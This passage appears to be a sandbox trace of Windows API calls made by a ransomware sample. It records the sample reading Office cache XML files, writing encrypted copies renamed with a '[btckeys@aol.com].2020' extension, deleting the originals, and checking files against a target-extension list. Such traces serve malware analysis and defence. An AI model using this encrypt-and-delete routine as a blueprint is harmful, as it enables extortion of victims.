dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0062.392] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=1450) returned 1 [0062.393] CloseHandle (hObject=0x16c) returned 1 [0062.393] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0062.393] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0062.393] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0062.393] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0062.393] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0062.393] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0062.394] GetLastError () returned 0x0 [0062.394] ReadFile (in: hFile=0x16c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x5aa, lpOverlapped=0x0) returned 1 [0062.396] WriteFile (in: hFile=0x170, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0062.397] ReadFile (in: hFile=0x16c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0062.397] WriteFile (in: hFile=0x170, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xf6, lpOverlapped=0x0) returned 1 [0062.398] SetEndOfFile (hFile=0x170) returned 1 [0062.398] CloseHandle (hObject=0x170) returned 1 [0062.399] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0062.399] SetEndOfFile (hFile=0x16c) returned 1 [0062.400] CloseHandle (hObject=0x16c) returned 1 [0062.400] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0062.400] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 1 [0062.400] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0062.400] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0062.400] lstrlenW (lpString=".doc") returned 4 [0062.400] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.400] lstrlenW (lpString=".docx") returned 5 [0062.400] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0062.400] lstrlenW (lpString=".pdf") returned 4 [0062.400] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.400] lstrlenW (lpString=".xls") returned 4 [0062.400] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.400] lstrlenW (lpString=".xlsx") returned 5 [0062.400] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0062.401] lstrlenW (lpString=".ppt") returned 4 [0062.401] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.401] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0062.401] lstrlenW (lpString=".zip") returned 4 [0062.401] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.401] lstrlenW (lpString=".rar") returned 4 [0062.401] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.401] lstrlenW (lpString=".bz2") returned 4 [0062.401] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.401] lstrlenW (lpString=".7z") returned 3 [0062.401] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.401] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0062.401] lstrlenW (lpString=".dbf") returned 4 [0062.401] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.401] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0062.401] lstrlenW (lpString=".1cd") returned 4 [0062.401] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.401] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0062.401] lstrlenW (lpString=".jpg") returned 4 [0062.401] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.401] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0062.401] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0062.401] lstrlenW (lpString=".doc") returned 4 [0062.401] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.401] lstrlenW (lpString=".docx") returned 5 [0062.401] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0062.401] lstrlenW (lpString=".pdf") returned 4 [0062.401] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.401] lstrlenW (lpString=".xls") returned 4 [0062.401] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.402] lstrlenW (lpString=".xlsx") returned 5 [0062.402] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0062.402] lstrlenW (lpString=".ppt") returned 4 [0062.402] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0062.402] lstrlenW (lpString=".zip") returned 4 [0062.402] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.402] lstrlenW (lpString=".rar") returned 4 [0062.402] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.402] lstrlenW (lpString=".bz2") returned 4 [0062.402] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.402] lstrlenW (lpString=".7z") returned 3 [0062.402] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0062.402] lstrlenW (lpString=".dbf") returned 4 [0062.402] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0062.402] lstrlenW (lpString=".1cd") returned 4 [0062.402] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.402] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0062.402] lstrlenW (lpString=".jpg") returned 4 [0062.402] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.402] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0062.402] lstrlenW (lpString="Setup.xml") returned 9 [0062.402] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0062.403] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=1886) returned 1 [0062.403] CloseHandle (hObject=0x16c) returned 1 [0062.403] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0062.403] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0062.403] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0062.403] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0062.403] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0062.403] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0062.404] GetLastError () returned 0x0 [0062.404] ReadFile (in: hFile=0x16c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x75e, lpOverlapped=0x0) returned 1 [0062.406] WriteFile (in: hFile=0x170, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x760, lpOverlapped=0x0) returned 1 [0062.407] ReadFile (in: hFile=0x16c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0062.407] WriteFile (in: hFile=0x170, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xe6, lpOverlapped=0x0) returned 1 [0062.407] SetEndOfFile (hFile=0x170) returned 1 [0062.407] CloseHandle (hObject=0x170) returned 1 [0062.408] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0062.408] SetEndOfFile (hFile=0x16c) returned 1 [0062.409] CloseHandle (hObject=0x16c) returned 1 [0062.409] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0062.409] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0062.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.410] lstrlenW (lpString=".doc") returned 4 [0062.410] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.410] lstrlenW (lpString=".docx") returned 5 [0062.410] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0062.410] lstrlenW (lpString=".pdf") returned 4 [0062.410] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.410] lstrlenW (lpString=".xls") returned 4 [0062.410] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.410] lstrlenW (lpString=".xlsx") returned 5 [0062.410] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0062.410] lstrlenW (lpString=".ppt") returned 4 [0062.410] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.410] lstrlenW (lpString=".zip") returned 4 [0062.410] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.410] lstrlenW (lpString=".rar") returned 4 [0062.410] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.410] lstrlenW (lpString=".bz2") returned 4 [0062.410] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.410] lstrlenW (lpString=".7z") returned 3 [0062.410] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.410] lstrlenW (lpString=".dbf") returned 4 [0062.410] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.410] lstrlenW (lpString=".1cd") returned 4 [0062.410] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.410] lstrlenW (lpString=".jpg") returned 4 [0062.410] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.410] lstrlenW (lpString=".doc") returned 4 [0062.410] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.410] lstrlenW (lpString=".docx") returned 5 [0062.411] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0062.411] lstrlenW (lpString=".pdf") returned 4 [0062.411] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.411] lstrlenW (lpString=".xls") returned 4 [0062.411] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.411] lstrlenW (lpString=".xlsx") returned 5 [0062.411] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0062.411] lstrlenW (lpString=".ppt") returned 4 [0062.411] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.411] lstrlenW (lpString=".zip") returned 4 [0062.411] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.411] lstrlenW (lpString=".rar") returned 4 [0062.411] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.411] lstrlenW (lpString=".bz2") returned 4 [0062.411] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.411] lstrlenW (lpString=".7z") returned 3 [0062.411] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.411] lstrlenW (lpString=".dbf") returned 4 [0062.411] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.411] lstrlenW (lpString=".1cd") returned 4 [0062.411] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.411] lstrlenW (lpString=".jpg") returned 4 [0062.411] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.411] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0062.411] lstrlenW (lpString="PublisherMUI.xml") returned 16 [0062.411] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0062.413] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=1450) returned 1 [0062.413] CloseHandle (hObject=0x16c) returned 1 [0062.413] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0062.413] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0062.414] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0062.414] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0062.414] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0062.414] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0062.414] GetLastError () returned 0x0 [0062.414] ReadFile (in: hFile=0x16c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x5aa, lpOverlapped=0x0) returned 1 [0062.416] WriteFile (in: hFile=0x170, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0062.417] ReadFile (in: hFile=0x16c, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0062.417] WriteFile (in: hFile=0x170, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xf4, lpOverlapped=0x0) returned 1 [0062.417] SetEndOfFile (hFile=0x170) returned 1 [0062.417] CloseHandle (hObject=0x170) returned 1 [0062.418] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0062.418] SetEndOfFile (hFile=0x16c) returned 1 [0062.419] CloseHandle (hObject=0x16c) returned 1 [0062.419] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0062.420] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 1 [0062.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0062.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0062.420] lstrlenW (lpString=".doc") returned 4 [0062.420] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.420] lstrlenW (lpString=".docx") returned 5 [0062.420] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0062.420] lstrlenW (lpString=".pdf") returned 4 [0062.420] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.420] lstrlenW (lpString=".xls") returned 4 [0062.420] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.420] lstrlenW (lpString=".xlsx") returned 5 [0062.420] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0062.420] lstrlenW (lpString=".ppt") returned 4 [0062.420] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0062.420] lstrlenW (lpString=".zip") returned 4 [0062.420] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.420] lstrlenW (lpString=".rar") returned 4 [0062.420] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.420] lstrlenW (lpString=".bz2") returned 4 [0062.420] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.421] lstrlenW (lpString=".7z") returned 3 [0062.421] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0062.421] lstrlenW (lpString=".dbf") returned 4 [0062.421] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0062.421] lstrlenW (lpString=".1cd") returned 4 [0062.421] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0062.421] lstrlenW (lpString=".jpg") returned 4 [0062.421] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0062.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0062.421] lstrlenW (lpString=".doc") returned 4 [0062.421] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.421] lstrlenW (lpString=".docx") returned 5 [0062.421] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0062.421] lstrlenW (lpString=".pdf") returned 4 [0062.421] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.421] lstrlenW (lpString=".xls") returned 4 [0062.421] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.421] lstrlenW (lpString=".xlsx") returned 5 [0062.421] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0062.421] lstrlenW (lpString=".ppt") returned 4 [0062.421] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0062.421] lstrlenW (lpString=".zip") returned 4 [0062.421] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.421] lstrlenW (lpString=".rar") returned 4 [0062.421] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.421] lstrlenW (lpString=".bz2") returned 4 [0062.421] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.421] lstrlenW (lpString=".7z") returned 3 [0062.421] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0062.422] lstrlenW (lpString=".dbf") returned 4 [0062.422] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0062.422] lstrlenW (lpString=".1cd") returned 4 [0062.422] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.422] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0062.422] lstrlenW (lpString=".jpg") returned 4 [0062.422] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.422] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0062.422] lstrlenW (lpString="Setup.xml") returned 9 [0062.422] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: 